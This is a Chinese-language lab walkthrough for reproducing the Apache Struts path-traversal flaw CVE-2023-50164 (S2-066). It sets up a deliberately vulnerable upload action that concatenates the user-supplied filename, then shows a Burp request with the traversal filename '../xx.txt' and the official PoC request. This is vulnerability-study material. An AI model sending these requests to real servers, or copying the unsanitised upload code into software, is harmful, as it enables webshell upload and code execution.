通过控制上传参数导致目录穿越,若在具体代码环境中允许上传危险后缀文件(例如 jsp文件),则攻击者可能结合该目录穿越漏洞上传webshell 至可解析目录,执行任意代码。Struts2的一个开发框架,使用其搭建一个文件上传的功能,只要配置action和filter就能正常使用。
2.5.0 <= Apache Struts <= 2.5.32
6.0.0 <= Apache Struts <= 6.3.0
使用版本:Struts 3.6.3.0
复现本漏洞,高版本的框架会报错
搭建工具:IDEA2021
如下链接下载
https://archive.apache.org/dist/maven/maven-3/
新建本地仓库文件夹存储,叫做maven_repository,以及mave的path(可配环境变量)
apache-maven-3.6.3 → conf → settings.xml文件中(使用notepad++打开即可)
使用国内阿里云的镜像,运行速度会加快
<mirror>
<id>alimaven</id>
<name>aliyun maven</name>
<url>http://maven.aliyun.com/nexus/content/groups/public/</url>
<mirrorOf>central</mirrorOf>
</mirror>
首次创建,需要配置如下图的三个条件(起始安装的哪一个maven-3.6.3的路径和maven_repository路径)
创建项目,勾选"从archetype创建",然后选中org.apache.maven.archetypes:maven-archetype-webapp。
按照个人起始配置,去配置,一直下一步即可。
如上图就是生效了,有时候可能是加载的问题会出现缺少某些模块等错误,有时需要在配置一遍才能生效或者等待几秒钟
至此,配置Maven的项目已经完成主要流程。
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>6.3.0</version>
</dependency>
package com.struts2;
import com.opensymphony.xwork2.ActionSupport;
import org.apache.commons.io.FileUtils;
import org.apache.struts2.ServletActionContext;
import java.io.*;
public class UploadAction extends ActionSupport {
private static final long serialVersionUID = 1L;
// 文件上传
private File upload;
// 文件类型,为name属性值 + ContentType
private String uploadContentType;
// 文件名称,为name属性值 + FileName
private String uploadFileName;
public File getUpload() {
return upload;
}
public void setUpload(File upload) {
this.upload = upload;
}
public String getUploadContentType() {
return uploadContentType;
}
public void setUploadContentType(String uploadContentType) {
this.uploadContentType = uploadContentType;
}
public String getUploadFileName() {
return uploadFileName;
}
public void setUploadFileName(String uploadFileName) {
this.uploadFileName = uploadFileName;
}
public String doUpload() {
String path = "D:\\up\\";
String realPath = path + File.separator +uploadFileName;
try {
FileUtils.copyFile(upload, new File(realPath));
} catch (Exception e) {
e.printStackTrace();
}
return SUCCESS;
}
}
此文件是Strust2的配置文件,在struts.xml当中,在位于/WEB-INF/classes路径下,此文件主要是用于适配Action和请求的关系。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="upload" extends="struts-default">
<action name="upload" class="com.struts2.UploadAction" method="doUpload">
<result name="success" type="">/index.jsp</result>
</action>
</package>
</struts>
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >
<web-app>
<display-name>Archetype Created Web Application</display-name>
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>*.action</url-pattern>
</filter-mapping>
</web-app>
主页内容根据自己需求进行更换代码
<html>
<body>
<h2>Hello World!</h2>
<form action="upload.action" method="post" enctype="multipart/form-data">
<input type="file" name="Upload" />
<input type="submit" value="Upload" />
</form>
</body>
</html>
在运行index.jsp时出现下边的报错
There is no configured/running web-servers found! Please, run any web-configuration and hit
这个报错可能是 没有配置web服务器等原始配置
报错解决
NEXT
点击 添加新的配置,选择Tomcat服务器--》本地
NEXT
NEXT 点击修复
找到自己的Tomcat安装路径bin目录,下的start.bat文件,启动环境(不是必须)
运行项目
出现如下界面,则启动成功
NEXT
浏览器看效果
火狐推荐插件
,挂代理更方便,否则本地以IDEA充当的服务器已占用8081端口,用浏览器的代理肯定是不行的,burosuite上根本挂不上。
可通过pom.xml查看当前使用的struts2版本:
burpsuite情况
修改文件名称
Content-Disposition: form-data; name="Upload"; filename="../xx.txt"
Content-Type: text/plain
path表示上传文件的基础路径
uploadFileName是文件的名称
连接遍是完整的文件路径 realPath。
上传的文件将保存在 "D:\up\" 目录下,并使用原始文件的名称作为文件名。
此处存在的问题:路径是硬编码的,没有灵活性。
文件上传的数据包
POST /CVE_2023_50164_war_exploded/upload.action HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------125875361631274606281213046536
Content-Length: 233
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/CVE_2023_50164_war_exploded/upload.action
Cookie: JSESSIONID=2116FD1C179D1D05BCBB639D493F5EE7
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
-----------------------------125875361631274606281213046536
Content-Disposition: form-data; name="Upload"; filename="zhang.txt"
Content-Type: text/plain
lovelove
-----------------------------125875361631274606281213046536--
官方POC
POST /s2_066_war_exploded/upload.action HTTP/1.1
Host: localhost:8080
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5WJ61X4PRwyYKlip
Content-Length: 593
------WebKitFormBoundary5WJ61X4PRwyYKlip
Content-Disposition: form-data; name="upload"; filename="poc.txt"
Content-Type: text/plain
test
------WebKitFormBoundary5WJ61X4PRwyYKlip
Content-Disposition: form-data; name="caption";
{{randstr(4097,4097)}}
------WebKitFormBoundary5WJ61X4PRwyYKlip--
引起问题来源主要是以下三个方法
// upload
// UploadContentType
// uploadFileName -
Content-Disposition: form-data; name="Upload"; filename="zhang.txt"
Content-Type: text/plain
UploadAction类中定义了upload、uploadContentType 和 uploadFileName三个属性, Action 中定义相关的 setter 方法获取这些参数的内容,在ActionSupport 中定义相关的 get或set 方法获取这些属性的内容。
。。。。后面代码分析不明白了,详情参见如下链接学习
https://trganda.github.io/notes/security/vulnerabilities/apache-struts/Apache-Struts-Remote-Code-Execution-Vulnerability-(-S2-066-CVE-2023-50164)